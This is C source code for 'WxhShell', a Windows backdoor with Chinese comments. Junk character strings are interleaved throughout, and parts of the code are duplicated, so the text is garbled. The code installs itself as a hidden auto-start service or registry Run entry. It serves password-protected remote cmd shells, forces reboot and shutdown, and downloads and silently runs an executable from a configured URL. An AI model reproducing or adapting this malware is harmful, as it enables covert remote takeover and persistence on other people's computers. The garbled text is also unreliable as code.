(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,*W~M&n"m NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RN 4?]8 *_I`{9~' if (!NtQueryInformationProcess) return 0; %`k [xz AR( gI]1 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j"6|$Ze8 if(!hProcess) return 0; `PAQv+EYz t<fah 3hl if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; QBXEM= m2^vH+wD CloseHandle(hProcess); >x*[izr/K 9soEHG=P hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); XcT!4xG0 if(hProcess==NULL) return 0; DqWy@7
a o3+s.7 " HMODULE hMod; rP]|`*B char procName[255]; ZMlBd}H unsigned long cbNeeded; OR6vA5J
;SI (5rS? if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eEBNO*2 '6vo#D9M CloseHandle(hProcess); kCEuzd=$V @4UX~=:686 if(strstr(procName,"services")) return 1; // 以服务启动 A^FkU hNh!H<}|m8 return 0; // 注册表启动 n*$g1 HG6 } /UK?&+1qE wG MhKZE // 主模块 qvu1 u
GCc int StartWxhshell(LPSTR lpCmdLine) mvH8hvD9 { ?3K~4-!?/ SOCKET wsl; 'V^M+ng BOOL val=TRUE; tf 7HhOCYX int port=0; \E,2VM@6 struct sockaddr_in door; ?=4oxPe }*rS g . if(wscfg.ws_autoins) Install(); Htr]_<@ }v}F8}4 port=atoi(lpCmdLine); ``<#F3 zZPWE"u} if(port<=0) port=wscfg.ws_port; Q/3*65 0,~s0]h0V WSADATA data; sAU%:W{ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; EpG9t9S9 [- 92] if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ` Ny(S2 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); # *pB"L door.sin_family = AF_INET; `},:dDHI door.sin_addr.s_addr = inet_addr("127.0.0.1"); :k?`gm$ door.sin_port = htons(port); ;UgwV/d @k;65'"Q if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {
9;%$
closesocket(wsl); i[9gcL" return 1; @,1_CqV } @`
Pn<_L `lE&:) if(listen(wsl,2) == INVALID_SOCKET) { =(hBgNH closesocket(wsl); mD7NQ2:wA return 1; `AE6s.p? } :Ef!gpS}?R Wxhshell(wsl); zqt<[=O WSACleanup(); oQh;lb r=3`Eb"t return 0; 0~ nCT&V FJH>P\+ } \EU3i;BNT% 8K9HFT@yV // 以NT服务方式启动 w^8Q~3|7 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3<<wHK;) { *:d``L DWORD status = 0; ]T/%Bau DWORD specificError = 0xfffffff; yLLA:5Q1 ):hz/vZ serviceStatus.dwServiceType = SERVICE_WIN32; ]vB^% serviceStatus.dwCurrentState = SERVICE_START_PENDING; SaGI4O_\s serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; } 'xGip@W serviceStatus.dwWin32ExitCode = 0; %8I^&~E1 serviceStatus.dwServiceSpecificExitCode = 0; G"&$7!6[Y serviceStatus.dwCheckPoint = 0; l-W)?d serviceStatus.dwWaitHint = 0; :I7qw0? Hk+44 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Gi-pi=#&cs if (hServiceStatusHandle==0) return; Ht+ro Y R5QW4i9 status = GetLastError(); 2|\mBP`ok if (status!=NO_ERROR) gQik>gFr { !bLCha\ serviceStatus.dwCurrentState = SERVICE_STOPPED; !NNPg?Y serviceStatus.dwCheckPoint = 0; z =H?@z serviceStatus.dwWaitHint = 0; KL?<lp" serviceStatus.dwWin32ExitCode = status; |0Fo{ serviceStatus.dwServiceSpecificExitCode = specificError; X sJ`x SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5K9W5hA:D return; -SD:G]un
} jA?[*HB }Y.@:v
j serviceStatus.dwCurrentState = SERVICE_RUNNING; 5YPIv- serviceStatus.dwCheckPoint = 0; hoBFC1 serviceStatus.dwWaitHint = 0; l+6@,TY1U if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4d@0v n{ } M6MxY\uM rMWvW(@@D // 处理NT服务事件,比如:启动、停止 o/,%rA4 VOID WINAPI NTServiceHandler(DWORD fdwControl) PT,*KYF_O" { ,e$RvFB switch(fdwControl) Bi fI.2| { D_<B^3w) case SERVICE_CONTROL_STOP: JfJ ln[ serviceStatus.dwWin32ExitCode = 0; yD3vq}U! serviceStatus.dwCurrentState = SERVICE_STOPPED; }mp`!7?>O serviceStatus.dwCheckPoint = 0; sCy.i/y serviceStatus.dwWaitHint = 0; "Ke_dM { F !v01]O SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4`v[p4k } 7Y~5gn return; u*iqwm. case SERVICE_CONTROL_PAUSE: 7>7n|N serviceStatus.dwCurrentState = SERVICE_PAUSED; g- #eMQ%J break; n}Thc6f3D case SERVICE_CONTROL_CONTINUE: Rq(+zL(f serviceStatus.dwCurrentState = SERVICE_RUNNING; mhIGunK;+ break; zB y%$5~Fw case SERVICE_CONTROL_INTERROGATE: 6k,@+@]t. break; 0|va}m`<3G }; OdyL
j SetServiceStatus(hServiceStatusHandle, &serviceStatus); w0js_P-uv } Yy[=E\z ^+~$eg&js // 标准应用程序主函数 }1CO>a< int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hHw1<! M { aAoAjV NkK ;/m>c{ // 获取操作系统版本 Y
uZ OsIsNt=GetOsVer(); S WsD]rn GetModuleFileName(NULL,ExeFile,MAX_PATH); 9|>y[i 3H"F~_H // 从命令行安装 zXGI{P0O if(strpbrk(lpCmdLine,"iI")) Install(); Q!~1Xc0S`p -=rGN"(M
_ // 下载执行文件 /s)It if(wscfg.ws_downexe) { )`5-rm~* if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D//58z& WinExec(wscfg.ws_filenam,SW_HIDE); ZQz;EV! } {XhpxJ__ !5m~qet. if(!OsIsNt) {
v/KTEM // 如果时win9x,隐藏进程并且设置为注册表启动 B7{j$0fm* HideProc(); ]6=opvm StartWxhshell(lpCmdLine); g+.E=Ef8<4 } aM[fag$c else &U.y): if(StartFromService()) H-5f!>) // 以服务方式启动 e!i.u'z StartServiceCtrlDispatcher(DispatchTable); =|- xj h else ,aWfGh#$ // 普通方式启动 nYRD>S?uz StartWxhshell(lpCmdLine); Pd
6 *=E4|>Ul, return 0; IfRrl/!nw } %ULd_ES^ ?K}KSJ6_ R<h0RKiM@ OK}8BY =========================================== gJOswN;([ )[sSCt] #@5 jOi H<b4B$/ 4f0dc\$ \BsvUGd " Y u^ } v g tJ+GjN #include <stdio.h> [iSLn3XXRX #include <string.h> m}
=<@b:l #include <windows.h> oDA'}[/ #include <winsock2.h> JR_c]AQYu #include <winsvc.h> L?y,xA_ #include <urlmon.h> J_|>rfW ~0.@1zEXj #pragma comment (lib, "Ws2_32.lib") YX2j;Y? #pragma comment (lib, "urlmon.lib") >yqL oWOH #w #define MAX_USER 100 // 最大客户端连接数 R?%|RCht1 #define BUF_SOCK 200 // sock buffer inGH'nl_ #define KEY_BUFF 255 // 输入 buffer P#Ikj&l s3T 6"%S` #define REBOOT 0 // 重启 tQ?}x#J #define SHUTDOWN 1 // 关机 e''Wm.>g(+ gwF@'Uu #define DEF_PORT 5000 // 监听端口 !lB,2_ 9=~jKl%\vJ #define REG_LEN 16 // 注册表键长度 )=D9L #define SVC_LEN 80 // NT服务名长度 7
~ Bo*UM wY}+d0Ch // 从dll定义API Ki@8 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ix5yQgnB}j typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C[$<7Mi|; typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l}c<eEfOy" typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qm}7w3I^ 55|$Imnf // wxhshell配置信息 C{S6Ri struct WSCFG { ln!KL'T] int ws_port; // 监听端口 4'; [' char ws_passstr[REG_LEN]; // 口令 X}bgRzj int ws_autoins; // 安装标记, 1=yes 0=no <~8W>Y\m char ws_regname[REG_LEN]; // 注册表键名 tv|=`~Y char ws_svcname[REG_LEN]; // 服务名 oq<# char ws_svcdisp[SVC_LEN]; // 服务显示名 Bp6Evi char ws_svcdesc[SVC_LEN]; // 服务描述信息 -XY]WWlq char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ||,;07 int ws_downexe; // 下载执行标记, 1=yes 0=no &c@I4RV|q char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j({L6</x char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ap> n4~ !!K=v7M }; eaiz
w@N ~d5{Q?T) // default Wxhshell configuration Wj*6}N/ struct WSCFG wscfg={DEF_PORT, "|&*MjwN6 "xuhuanlingzhe", %r,2ZLZ 1, V[#lFl). "Wxhshell", =XS'V* "Wxhshell", ZmHl~MR@ "WxhShell Service", Vis?cuU/ "Wrsky Windows CmdShell Service", )*JTxMQ "Please Input Your Password: ", WK^qYfq| 1, ]ogy`O > "http://www.wrsky.com/wxhshell.exe", %E!0,y,: "Wxhshell.exe" ,^,J[F }; vA{[F7 &]c9}Ic // 消息定义模块 xO@OkCue char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }w@nZG ^& char *msg_ws_prompt="\n\r? for help\n\r#>"; 6%xl}z]o char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QtzHr char *msg_ws_ext="\n\rExit."; ozo8 Tr char *msg_ws_end="\n\rQuit."; gddGl=rm char *msg_ws_boot="\n\rReboot..."; 5m3sjcp_ char *msg_ws_poff="\n\rShutdown..."; \5l}5<| char *msg_ws_down="\n\rSave to "; 8UZEC-K Te/)[I'Tn char *msg_ws_err="\n\rErr!"; Y+7v~/K= char *msg_ws_ok="\n\rOK!"; Fy@D&j d$Xvax,C char ExeFile[MAX_PATH]; U\z+{]<< int nUser = 0; ?0<3"2Db~ HANDLE handles[MAX_USER];
t|DYz#] int OsIsNt; >y@w-,1he K&h|r`W( SERVICE_STATUS serviceStatus; 33C#iR1(WJ SERVICE_STATUS_HANDLE hServiceStatusHandle; lqs_7HhvRS /4f;Niem // 函数声明 <Jk|Bmw; int Install(void); i\'N1S<D int Uninstall(void); #>V;ZV5" int DownloadFile(char *sURL, SOCKET wsh); _8>"&1n int Boot(int flag); 334*nQ void HideProc(void); wDG4rN9x int GetOsVer(void); KKzvoc?Bt int Wxhshell(SOCKET wsl); 'huLv(Uu void TalkWithClient(void *cs); btE+.V int CmdShell(SOCKET sock); / u{r5`4
int StartFromService(void); M>#{~zr int StartWxhshell(LPSTR lpCmdLine); >j?uI6Uw M@3H]t? VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zYNJF>^< VOID WINAPI NTServiceHandler( DWORD fdwControl ); U|QDV16f |g{AD` // 数据结构和表定义 '37b[~k4 SERVICE_TABLE_ENTRY DispatchTable[] = :[&X*bw[ { /_|1,x-Kx {wscfg.ws_svcname, NTServiceMain}, T_dd7Ym'8 {NULL, NULL} \NqC i'& }; ( 65p/$Vh 2S4z$(x3 // 自我安装 V_QVLW int Install(void) k|D!0^HE[ { .,,73" char svExeFile[MAX_PATH]; .wSAysiQ|P HKEY key; v>5F[0gE strcpy(svExeFile,ExeFile); GXl?Zg [`lAc V< // 如果是win9x系统,修改注册表设为自启动 ;rKYWj>IR if(!OsIsNt) { AQ5v`xE4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ao!r6:&v$e RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2o/`8+eJu RegCloseKey(key); Fqv5WoYVf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F8I<4S RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @n(In$ RegCloseKey(key); ^q`*!B9@ return 0; Vmc)or*# } $%-?S]6) } Ymu=G3- } ZIp=JR8o$ else { u/f&Wq/ p3o?_ !Z // 如果是NT以上系统,安装为系统服务 _u>>+6,p SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |*5nr5c_L if (schSCManager!=0) Ln|${c { "q.uiz+1: SC_HANDLE schService = CreateService M=A9ax ( %U7B0- schSCManager, hz%IxI9 wscfg.ws_svcname, ap~Iz wscfg.ws_svcdisp, xTMTkVa+B SERVICE_ALL_ACCESS, [)A#9L~s= SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fLAF/#\2 SERVICE_AUTO_START, 2LU'C,o? SERVICE_ERROR_NORMAL, P>-,6a> svExeFile, ?
h%+2 NULL, D,/9rH NULL, Ah6x2(: NULL, 08a|]li NULL, [Bo$? NULL ihrrmlN? ); B(LV22# if (schService!=0) val<N293L> { (T01hR& CloseServiceHandle(schService); t,,^^ll CloseServiceHandle(schSCManager); v"+EBfx strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $wTX strcat(svExeFile,wscfg.ws_svcname); b3lpNJ J if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KoJG!Rm RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r
`dU
(T! RegCloseKey(key); -huZnDN return 0; *
U4:K@y } sBnPS[Oo } beE%%C]X CloseServiceHandle(schSCManager); <*(R+to^d } @`D6F;R } s_!Z+D$K ~x:]ch| return 1; . $YF|v[= } vM/v}6;_K2 AtDrQ<>y' // 自我卸载 $lA,{Q int Uninstall(void) )g_zPt { ^E17_9? HKEY key; ,IE0+!I KCE-6T if(!OsIsNt) { ASw|sw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ':]a.yA\1 RegDeleteValue(key,wscfg.ws_regname); N-E`go RegCloseKey(key); oF R'GUQC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TP::y RegDeleteValue(key,wscfg.ws_regname); j:3Hm0W3 RegCloseKey(key); 9G+rxyWMW return 0; D:tZiS=0 } ycD.:w p\' } YCO:bBmp: } W2qQKv else { w lg#c6#q 22~X~= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wtLMc if (schSCManager!=0) mtddLd, { e622{dfVS SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v^fOT5\ if (schService!=0) MPN=K|* { 7,UFIHq if(DeleteService(schService)!=0) { @!3^/D3 CloseServiceHandle(schService); 6 JYOe CloseServiceHandle(schSCManager); Gw^=kzh return 0; F5P{+z7 } \|`Pul$ CloseServiceHandle(schService); `+c9m^ } #`0z=w/) CloseServiceHandle(schSCManager); ya g } }#5roNH~Z } C/XyDbH h##?~!xDmq return 1; ^!_7L4&y } Z3>3&|& _)2TLA
n3 // 从指定url下载文件 >Eg .c int DownloadFile(char *sURL, SOCKET wsh) hpV
/F { }A/&]1GWk HRESULT hr; 6F/
OlK< char seps[]= "/"; jYID44$ char *token; yc=#Jn?S char *file; q<[ke
char myURL[MAX_PATH]; }IkEyJsk char myFILE[MAX_PATH]; h_GBx|c ]Wt6V^M'@ strcpy(myURL,sURL); ^Jl!WH=20} token=strtok(myURL,seps); T)f_W while(token!=NULL)
0P3|1= { @aN=U= file=token; iiB )/~!O token=strtok(NULL,seps); ^i)Q
CDU7 } wf<`J/7u yPG\ &Bo GetCurrentDirectory(MAX_PATH,myFILE); )60f strcat(myFILE, "\\"); aDvO(C strcat(myFILE, file); hs_|nr0;[ send(wsh,myFILE,strlen(myFILE),0); Y_>-p(IH send(wsh,"...",3,0); ~V"cLTj" hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C|IQM4 if(hr==S_OK) 4$DliP return 0; =k<4mlok^ else #s
R0* return 1; ';|>`< {^5<{j3e }
)k] !u V3~a!k // 系统电源模块 ^
R^N`V int Boot(int flag) B "F`OS[ { ^O Xr: P HANDLE hToken; Q[Sd TOKEN_PRIVILEGES tkp; s5aOAyb*w (VPM>ndkw if(OsIsNt) { K(KP3Q OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5J\|gZQF LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [Ro0eH tkp.PrivilegeCount = 1; /Q>{YsRRB tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3/IWO4?_ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dzE Q$u/I if(flag==REBOOT) { ?$@KwA if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m-S33PG{ return 0; &G|jzXE } YEPG[W<kg else { 5OW8G][ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b|8>eY return 0; ,#jhKnk2e } y_4krY|Zx } #JR ,C
-w else { &c?hJ8" if(flag==REBOOT) { Ed0>R<jR9 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q|$>H6H4b return 0; 8xpYQ<cax } NRuG?^/}d else { #[0\=B- if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BOiz ~h6 return 0; ctUF/[_w; } g=g.GpFt } <AAZ8#^ r|\'9"@ return 1; h[ZN >T } A;WwS?fyQ [T[9*6Kt // win9x进程隐藏模块
6:@t=C void HideProc(void) 1s}NQ3 { CX ]\Q-y
2HK HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fzFvfMAU if ( hKernel != NULL ) 8K JQ( { +65~,e pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); YK?*7 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "X{aS} FreeLibrary(hKernel); Y0u'@l_[F } 7fW=5wc )Rhf f$ return; \abAPo } |CZnq-,C Oz#EGjz // 获取操作系统版本 78a-3){ int GetOsVer(void) VmOFX:j!, { A{8K#@! OSVERSIONINFO winfo; VkTlPmr winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DYT -#Ht GetVersionEx(&winfo); aa0`y if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `l gjw= return 1; )_c=mT else 3gI[]4lRH return 0; Z?~d']XD } e:GgA Id.Z[owC`Y // 客户端句柄模块 ;&W; int Wxhshell(SOCKET wsl) lR@i`)'?U { $nfBvf SOCKET wsh; -wfRR>)d struct sockaddr_in client; io9xI3{ DWORD myID; # +QWi0B
InPy:} while(nUser<MAX_USER) jqX@&}3@ { >Z2,^5P{ int nSize=sizeof(client); ANFg]g.Az wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7dlKdKH if(wsh==INVALID_SOCKET) return 1; n(Q\',C sR>`QIi(a handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m,@1LwBH if(handles[nUser]==0) F[7Kw"~J closesocket(wsh); d@D;'2}Yc else X@yr$3vC nUser++; ;X$q#qzN# } o/dMm:TF WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); W) 33;E/} K{zCp6 return 0; `dgM|.w5= } !O F?xW :PFx& // 关闭 socket %l8*t$8 void CloseIt(SOCKET wsh) S7UZGGjTk { ib(>vp$V closesocket(wsh); SvX=isu!. nUser--; UBhciZ ExitThread(0); Y3P.| } uO
?Od ]<8B-D?Z // 客户端请求句柄 8NaL{j1` void TalkWithClient(void *cs) @ kJ0K { w*<Y$hnBzF [:nx);\ SOCKET wsh=(SOCKET)cs; >k&8el6h char pwd[SVC_LEN]; Q$|^~ char cmd[KEY_BUFF]; R,x> $n char chr[1]; jJ*@5?A int i,j; XdGpW J7'f@X~nM while (nUser < MAX_USER) { pK6e/eC m feMmKFu\ if(wscfg.ws_passstr) { HBh` 2Q if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mFqSD //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); " K 8&{= //ZeroMemory(pwd,KEY_BUFF); e}'#Xv i=0; ^])e[RN7?n while(i<SVC_LEN) { zd*3R+>U'> $N}/1R^?r // 设置超时 #cj\~T.,, fd_set FdRead; .1.J5>/n struct timeval TimeOut; 9^ >M>f" FD_ZERO(&FdRead); :M22P`: FD_SET(wsh,&FdRead); SUH mBo"} TimeOut.tv_sec=8; o~v_PD[S TimeOut.tv_usec=0; :W.jNV{e\F int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0T9@,scY if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Dd!Sr8L[ ex`
xkZ+ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *'9)H0 pwd=chr[0]; gEr4zae if(chr[0]==0xd || chr[0]==0xa) { :vc[/< pwd=0; hWq.#e6 break; j>0<#SYBu } I#|ocz i++; ?Yq J.F; } w`c0a&7 gEZwW]r- // 如果是非法用户,关闭 socket NXzU0 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9z5"y|$ } ,c4c@|Bh? "El^38Ho send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G1kaF/`O send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z69+yOJI uP{;*E3? while(1) { X}oj_zsy;^ rQ9*J ZeroMemory(cmd,KEY_BUFF); T*h!d(
D4< -8 // 自动支持客户端 telnet标准 ss?] j=0; m"lE&AM64p while(j<KEY_BUFF) { UF@IBb}0 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HQq`pG%m6 cmd[j]=chr[0]; t*{,Gk if(chr[0]==0xa || chr[0]==0xd) { ![^EsgEB* cmd[j]=0; z 0~j break; _9D|u<D } #|qm!aGs j++; z^4KU\/JK } ET U-]R 3 z>4D~HX // 下载文件 i]it5 if(strstr(cmd,"http://")) { <=q*N;=T, send(wsh,msg_ws_down,strlen(msg_ws_down),0); puFXPw.3 if(DownloadFile(cmd,wsh)) j((hqJr send(wsh,msg_ws_err,strlen(msg_ws_err),0); \,>_c else ^9&b+u=X send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wA?@v|,dZ } ~O \}/I28 else { \r)%R5_CQ {IJ-4> switch(cmd[0]) { C&=x3Cz !G7h9CF|{ // 帮助 Ci;h case '?': { xT W3UY send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N<9w{zIK( break; "Dyym<J } @ru<4`h // 安装 |2z}Xm5\ case 'i': { jvu
N if(Install()) xN6>2e send(wsh,msg_ws_err,strlen(msg_ws_err),0); wD`[5~C{ else >G]? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i-`,/e~XT break; "37*A<+f } E]NY
(1 // 卸载 GGH;Z WSe case 'r': { BsKbn@'uC if(Uninstall()) p~h4\.*` send(wsh,msg_ws_err,strlen(msg_ws_err),0); t) LU\! else Q/p(#/y#b send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g;8M<`qvf break; 1Yud~[c } cn$5:%IK // 显示 wxhshell 所在路径 ji}#MBac case 'p': { ASR-a't6 char svExeFile[MAX_PATH]; wTTRoeJ} strcpy(svExeFile,"\n\r"); 9hy'DcSy, strcat(svExeFile,ExeFile); XM$GQn]B send(wsh,svExeFile,strlen(svExeFile),0); ~L~]QN\3 break; u=%y } o~= iy // 重启 s3seK6x' case 'b': { ! Q!&CG5l send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dsV ~|D6: if(Boot(REBOOT)) 7R: WX: send(wsh,msg_ws_err,strlen(msg_ws_err),0); ozU2 else { [eyb7\#
closesocket(wsh); {B3(HiC ExitThread(0); H"_v+N5= } HL@TcfOe~ break; ~x'zX-@rC } VUp. j // 关机 +$PFHXB case 'd': { Mq@}snp"S send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l8^y]M if(Boot(SHUTDOWN)) (v!mR+\x send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0 sZwdO else { |) O): closesocket(wsh); D i+4Eb
ExitThread(0); 0pD[7~ ^o } q3+I<qsAz break; glx2I_y } ]oEQ4 // 获取shell mbyih+amCr case 's': { ;Z*'D} CmdShell(wsh); (-\]A| closesocket(wsh); /l^y}o %? ExitThread(0); usy,V"{ break; ijFV<P } IP04l;p/ // 退出 gGI8t@t: case 'x': { >60"p~t send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;}D-:J-z_ CloseIt(wsh); y:.?5KsPI break; U+} y
%3l } ;|!MI'Af // 离开 ugI#ZFjJWE case 'q': { x9%-plP send(wsh,msg_ws_end,strlen(msg_ws_end),0); \n_3Bwd~ closesocket(wsh); 1aq2aLx WSACleanup(); 80}4/8 exit(1); kbhX?; <` break; x6ahZ } 9<l-NU9 _ } Zi/-~')E } 6 Uw;C84! NI8~QeGah // 提示信息 iS if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ihg~Q4t } VHW`NP 5Jl } ,E?4f
@|X "Hht
g: return; Ukc'?p,* } jn$j^51`C gLD{1-v // shell模块句柄
%}h`+L int CmdShell(SOCKET sock) K6hfauWd[ { ;g9% & STARTUPINFO si; -L8YJ8J6 ZeroMemory(&si,sizeof(si)); s`c?: si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b
=b: si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O:JPJ"! PROCESS_INFORMATION ProcessInfo; <Y>3 char cmdline[]="cmd"; ]G*$W+G] CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1~@|eWr| return 0; zh%qS~8Yv } nLJBq)i #ZlM?Q // 自身启动模式 u s`} int StartFromService(void) 6e#wR/ { cy3M^_5B< typedef struct Vv4H:BK$ { K_#UZA< Y DWORD ExitStatus; uNbIX:L, DWORD PebBaseAddress; {y6C0A* DWORD AffinityMask; 5
`=KyHi:b DWORD BasePriority; D0 ruTS ULONG UniqueProcessId; K]<u8eF ULONG InheritedFromUniqueProcessId; AS|Rd+. } PROCESS_BASIC_INFORMATION; y]'CXCml) QKccrAo PROCNTQSIP NtQueryInformationProcess; FJwt?3\u5 7`fY*O6 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Dtt-|_EMS static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tOH0IE c zMGzReJ HANDLE hProcess; >vVw!.fJ PROCESS_BASIC_INFORMATION pbi; -:SIS`0s El
(/em HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8l23%iWxe if(NULL == hInst ) return 0; azX`oU,l )%VCzye*{ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); GV8)Kor% g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kA^A mfba NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a,n93-m(m j Nc<~{/ if (!NtQueryInformationProcess) return 0; GNU;jSh5 s;1e0n hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sPCMckt if(!hProcess) return 0; |>2:eH CH;;V3 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _~A~+S} DYRE1! CloseHandle(hProcess); A1-qtAO] ZEGd4_ux hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /{X_
.fv<v if(hProcess==NULL) return 0; 85z;Zt0{ cZi[(K HMODULE hMod; w>vH8f char procName[255]; :JlDi>B unsigned long cbNeeded; D|Si)_
Iz "2;N2=~7 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x=,8[W#XT GN%(9N'W CloseHandle(hProcess); _7@z_i_c ^i`*Wm@! if(strstr(procName,"services")) return 1; // 以服务启动 l>7r2; J]fS({(\I return 0; // 注册表启动 |zpx)8Q } :;4SQN{2
